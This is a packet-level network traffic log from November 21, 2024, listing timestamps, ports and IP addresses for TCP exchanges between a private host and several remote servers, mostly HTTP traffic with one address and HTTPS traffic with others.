Nov 21, 2024 19:58:43.516716003 CET	443	49778	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:43.517494917 CET	49778	443	192.168.2.8	20.190.147.6
Nov 21, 2024 19:58:43.517494917 CET	49778	443	192.168.2.8	20.190.147.6
Nov 21, 2024 19:58:43.517505884 CET	443	49778	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:43.517520905 CET	443	49778	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:43.538100958 CET	49776	443	192.168.2.8	18.165.220.57
Nov 21, 2024 19:58:43.538114071 CET	443	49776	18.165.220.57	192.168.2.8
Nov 21, 2024 19:58:43.619784117 CET	443	49780	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:43.619870901 CET	443	49780	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:43.619925022 CET	49780	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:43.620615959 CET	49780	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:43.620634079 CET	443	49780	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:43.695512056 CET	49785	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:43.695548058 CET	443	49785	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:43.695645094 CET	49785	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:43.695872068 CET	49786	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:43.695929050 CET	443	49786	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:43.695996046 CET	49786	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:43.696242094 CET	49785	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:43.696253061 CET	443	49785	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:43.696439981 CET	49786	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:43.696461916 CET	443	49786	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:43.699613094 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.699668884 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.699718952 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.699765921 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.708547115 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.708573103 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.708626986 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.708662033 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.711570024 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.711675882 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.711688995 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.711886883 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.719677925 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.719742060 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.719759941 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.719841957 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.727602959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.727674007 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.727710962 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.727802992 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.735539913 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.735619068 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.735667944 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.735723019 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.741547108 CET	49776	443	192.168.2.8	18.165.220.57
Nov 21, 2024 19:58:43.743547916 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.743592978 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.743655920 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.751499891 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.751576900 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.751676083 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.751729965 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.759473085 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.759571075 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.759633064 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.759701967 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.767465115 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.767472982 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.767537117 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.775409937 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.775487900 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.775511980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.775571108 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.783392906 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.783487082 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.897994995 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:43.903009892 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:43.903067112 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:43.903086901 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:43.910032034 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.910093069 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.910115957 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.910211086 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.911849976 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.911952972 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.911958933 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.912146091 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.917578936 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:43.917653084 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:43.917661905 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:43.918044090 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.918104887 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.918140888 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.918203115 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.924410105 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.924474001 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.924489975 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.924635887 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.929730892 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:43.929780960 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:43.929790974 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:43.930620909 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.930655003 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.930695057 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.930732012 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.936666012 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.936724901 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.936753035 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.936817884 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.937638044 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:43.937695980 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:43.937705040 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:43.942845106 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.942895889 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.942914009 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.943080902 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.949054003 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.949121952 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.949150085 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.949278116 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.950506926 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:43.950572968 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:43.950597048 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:43.955209017 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.955234051 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.955293894 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.961433887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.961555004 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.961600065 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.961664915 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.967659950 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.967719078 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.967829943 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.967853069 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.973937988 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.973968983 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.974029064 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.974522114 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.980092049 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.980215073 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.980285883 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.986284971 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.986342907 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.986341953 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.986396074 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.992484093 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.992621899 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.992686033 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.998636007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.998718977 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.999030113 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.005017042 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.005134106 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.005202055 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.005260944 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.011015892 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.011116982 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.011214972 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.011281967 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.017199993 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.017251015 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.017293930 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.017379999 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.021609068 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.021670103 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.021694899 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.023439884 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.023511887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.023540974 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.023581028 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.026784897 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.026878119 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.026896954 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.029582977 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.029755116 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.029774904 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.029966116 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.035880089 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.035985947 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.035998106 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.036056042 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.037280083 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.038021088 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.038044930 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.041981936 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.042100906 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.042182922 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.057771921 CET	49787	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:44.057812929 CET	443	49787	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:44.057965040 CET	49788	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:44.057986975 CET	49787	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:44.057988882 CET	443	49788	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:44.058168888 CET	49787	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:44.058186054 CET	443	49787	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:44.058207989 CET	49788	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:44.058387995 CET	49788	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:44.058403969 CET	443	49788	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:44.102715969 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.102765083 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.102773905 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.102786064 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.102833986 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.110153913 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.119724989 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.119795084 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.119801044 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.120964050 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.120999098 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.121040106 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.121079922 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.123748064 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.123806000 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.123826981 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.123898983 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.128226042 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.128320932 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.128341913 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.129384995 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.129611015 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.129614115 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.129673004 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.136738062 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.136843920 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.136910915 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.137027025 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.142453909 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.142602921 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.142621994 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.142972946 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.142980099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.143062115 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.148201942 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.148277044 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.148299932 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.148380995 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.151247025 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.151305914 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.151319981 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.153537035 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.153683901 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.154045105 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.154112101 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.159575939 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.159609079 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.159642935 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.159765005 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.165307045 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.165313005 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.165376902 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.166203022 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.166270018 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.166286945 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.170600891 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.170608997 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.170670986 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.175805092 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.175812960 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.175945997 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.178342104 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.178606033 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.178622007 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.180553913 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.180624962 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.180629969 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.180680037 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.186343908 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.186399937 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.186440945 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.186511040 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.191935062 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.192095041 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.192114115 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.206379890 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.206496000 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.206502914 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.251938105 CET	443	49778	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:44.251969099 CET	443	49778	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:44.252013922 CET	443	49778	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:44.252034903 CET	49778	443	192.168.2.8	20.190.147.6
Nov 21, 2024 19:58:44.252051115 CET	443	49778	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:44.252062082 CET	49778	443	192.168.2.8	20.190.147.6
Nov 21, 2024 19:58:44.252070904 CET	443	49778	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:44.252160072 CET	49778	443	192.168.2.8	20.190.147.6
Nov 21, 2024 19:58:44.252620935 CET	49778	443	192.168.2.8	20.190.147.6
Nov 21, 2024 19:58:44.252620935 CET	49778	443	192.168.2.8	20.190.147.6
Nov 21, 2024 19:58:44.252646923 CET	443	49778	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:44.252655983 CET	443	49778	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:44.270371914 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.270422935 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.270481110 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.273025990 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.273034096 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.273308992 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.275069952 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.275126934 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.275228024 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.275243998 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.276911020 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.278356075 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.278397083 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.278414011 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.278553009 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.282516956 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.284058094 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.284112930 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.284142971 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.284202099 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.287637949 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.287714005 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.287744045 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.287754059 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.289871931 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.291230917 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.291273117 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.291279078 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.291279078 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.291295052 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.291337967 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.294579983 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.294650078 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.294722080 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.294775009 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.295644045 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.295707941 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.295713902 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.297971964 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.298032999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.298037052 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.298120022 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.301147938 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.301314116 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.301336050 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.301342964 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.301410913 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.301423073 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.301469088 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.304640055 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.304744959 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.304861069 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.305007935 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.306494951 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.306596994 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.306602955 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.307857037 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.308011055 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.308058977 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.308095932 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.311048985 CET	80	49746	185.215.113.206	192.168.2.8
